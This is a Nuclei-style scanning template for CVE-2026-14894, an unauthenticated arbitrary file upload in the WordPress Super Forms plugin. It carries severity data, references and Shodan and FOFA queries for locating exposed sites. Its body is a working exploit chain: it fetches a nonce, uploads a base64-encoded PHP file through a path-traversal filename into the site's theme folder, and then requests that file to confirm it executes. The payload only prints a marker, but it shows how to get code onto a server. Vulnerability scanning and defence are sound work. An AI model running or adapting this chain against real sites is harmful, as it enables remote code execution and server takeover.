WordPress Super Forms <= 6.3.313 - Arbitrary File Upload

id: CVE-2026-14894

info:
  name: WordPress Super Forms <= 6.3.313 - Arbitrary File Upload
  author: pdteam,0x_Akoko
  severity: critical
  description: |
    Super Forms – Drag & Drop Form Builder WordPress plugin \u003C= 6.3.313 contains an arbitrary file upload vulnerability caused by missing file type validation and lack of capability checks in submit_form nopriv AJAX handler, letting unauthenticated attackers upload executable files and achieve remote code execution, exploit requires no authentication due to nonce bypass.
  impact: |
    Unauthenticated attackers can upload executable files and execute arbitrary code remotely, potentially compromising the entire server.
  remediation: |
    Update to the latest version of Super Forms – Drag & Drop Form Builder plugin.
  reference:
    - https://www.wordfence.com/threat-intel/vulnerabilities/id/e9c7fb16-efbb-41e9-be13-98e96c1e9100
    - https://patchstack.com/database/wordpress/plugin/super-forms/vulnerability/wordpress-super-forms-drag-drop-form-builder-plugin-6-3-313-unauthenticated-arbitrary-file-upload-vulnerability
    - https://github.com/shinthink/CVE-2026-14894
    - https://nvd.nist.gov/vuln/detail/CVE-2026-14894
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2026-14894
    epss-score: 0.03484
    epss-percentile: 0.89218
    cwe-id: CWE-434
  metadata:
    verified: true
    max-request: 4
    vendor: developer-developer
    product: super-forms
    framework: wordpress
    fofa-query: body="wp-content/plugins/super-forms"
    shodan-query: http.html:"wp-content/plugins/super-forms"
  tags: cve,cve2026,wordpress,wp-plugin,wp,file-upload,rce,intrusive,vkev

variables:
  rand: "{{to_lower(rand_text_alpha(8))}}"

flow: http(1) && http(2) && http(3) && http(4)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    host-redirects: true
    max-redirects: 2

    matchers:
      - type: word
        words:
          - "/wp-content/themes"
        internal: true

    extractors:
      - type: regex
        name: wptheme
        group: 1
        regex:
          - 'wp-content/themes/([a-zA-Z0-9_-]+)/'
        internal: true

  - raw:
      - |
        POST /wp-admin/admin-ajax.php?action=super_create_nonce HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        action=super_create_nonce

    extractors:
      - type: regex
        part: body
        name: sfnonce
        regex:
          - '([a-f0-9]{10,})'
        internal: true

  - raw:
      - |
        POST /wp-admin/admin-ajax.php?action=super_submit_form HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        sf_nonce={{sfnonce}}&form_id=1&data=%7B%22sf_upload_field%22%3A%7B%22type%22%3A%22files%22%2C%22files%22%3A%5B%7B%22value%22%3A%22../../../../../themes/{{wptheme}}/{{rand}}.php%22%2C%22datauristring%22%3A%22data%3Aimage/png%3Bbase64%2CPD9waHAgZWNobyAnQ1ZFLTIwMjYtMTQ4OTQtc2ZyY2UnOyBkaWUoKTsgPz4%3D%22%2C%22name%22%3A%22{{rand}}.php%22%2C%22label%22%3A%22attachment%22%7D%5D%7D%7D

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200 || status_code == 302'
        internal: true

  - raw:
      - |
        GET /wp-content/themes/{{wptheme}}/{{rand}}.php HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "CVE-2026-14894-sfrce")'
        condition: and